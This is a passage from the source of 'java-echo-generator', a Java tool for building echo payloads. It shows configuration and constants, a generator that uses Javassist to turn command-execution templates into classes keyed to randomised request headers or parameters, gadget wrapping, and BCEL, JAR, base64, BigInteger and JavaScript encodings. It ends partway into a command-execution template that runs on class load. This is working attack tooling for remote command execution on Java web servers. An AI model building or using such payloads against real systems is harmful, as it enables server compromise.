public String getGadgetType() {
return gadgetType;
}
public void build() {
// 检查 serverType、modelType、formatType 是否已设置
if (this.modelType == null || this.serverType == null || this.formatType == null) {
throw new IllegalStateException("serverType、modelType and formatType must be set.");
}
// 可选参数,默认随机
if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), "")) setOutputDir(System.getProperty("user.dir"));
if (this.getClassName() == null || Objects.equals(this.getClassName(), "")) setClassName(ClassUtil.getRandomClassName());
if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), "")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys));
if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), "")) setReqParamName(RandomUtil.genRandomLengthString(4));
if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/config/jEGConstants.java
================================================
package jeg.core.config;
import jeg.common.config.Constants;
public interface jEGConstants extends Constants {
String JEG_NAME = "java-echo-generator";
String JEG_VERSION = "v1.0.0";
String JEG_AUTHOR = "pen4uin";
String JEG_DESCRIPTION = "Java 回显载荷生成器";
String[] headerKeys = {"Accept-","Content-","Cache-Control-","Transfer-","Last-Modified-","Etag-"};
String MODEL_CODE = "Code";
String MODEL_CMD = "Command";
}
================================================
FILE: jeg-core/src/main/java/jeg/core/jEGenerator.java
================================================
package jeg.core;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import jeg.common.config.Constants;
import jeg.common.format.*;
import jeg.common.util.*;
import jeg.core.config.jEGConfig;
import jeg.core.config.jEGConstants;
import jeg.core.util.TemplateUtil;
import java.io.File;
import java.io.IOException;
public class jEGenerator {
private final static ClassPool pool = ClassPool.getDefault();
private final jEGConfig config;
private byte[] clazzBytes;
public jEGenerator(jEGConfig config) throws Throwable {
this.config = config;
this.genPayload();
this.formatPayload();
}
private void genPayload() throws Exception {
CtClass ctClass;
pool.insertClassPath(new ClassClassPath(jEGenerator.class));
String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType());
ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
try {
if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) {
JavassistUtil.addMethod(ctClass, "getReqHeaderName", String.format("{return \"%s\";}", config.getReqHeaderName()));
}
if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) {
JavassistUtil.addMethod(ctClass, "getReqParamName", String.format("{return \"%s\";}", config.getReqParamName()));
}
ctClass.setName(config.getClassName());
} catch (Exception e) {
e.printStackTrace();
}
JavassistUtil.removeSourceFileAttribute(ctClass);
clazzBytes = new GadgetUtil(config, pool, ctClass).modify();
config.setClassBytesLength(clazzBytes.length);
config.setClassBytesInFormatter(clazzBytes);
config.setClassNameInFormatter(config.getClassName());
ctClass.detach();
}
private void formatPayload() throws Throwable {
if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) {
clazzBytes = new BCELFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) {
clazzBytes = new JARFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) {
clazzBytes = new BASE64Formatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) {
clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) {
clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config);
}
}
public String getPayload() throws IOException {
String outputDir = config.getOutputDir();
String file_output_path = outputDir;
if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator;
File dir = new File(outputDir);
if (!dir.exists() || !dir.isDirectory()) {
dir.mkdirs();
}
// 判断输出格式
switch (config.getFormatType()) {
case Constants.FORMAT_CLASS:
file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".class";
break;
case Constants.FORMAT_JAR:
file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".jar";
break;
case Constants.FORMAT_BIGINTEGER:
case Constants.FORMAT_JS:
case Constants.FORMAT_BASE64:
case Constants.FORMAT_BCEL:
return new String(clazzBytes);
default:
break;
}
FileUtil.writeFile(file_output_path, clazzBytes);
return file_output_path;
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java
================================================
package jeg.core.template.all;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class DFSCmdExecTpl {
static {
try {
new DFSCmdExecTpl();
} catch (Exception e) {
}
}
static HashSet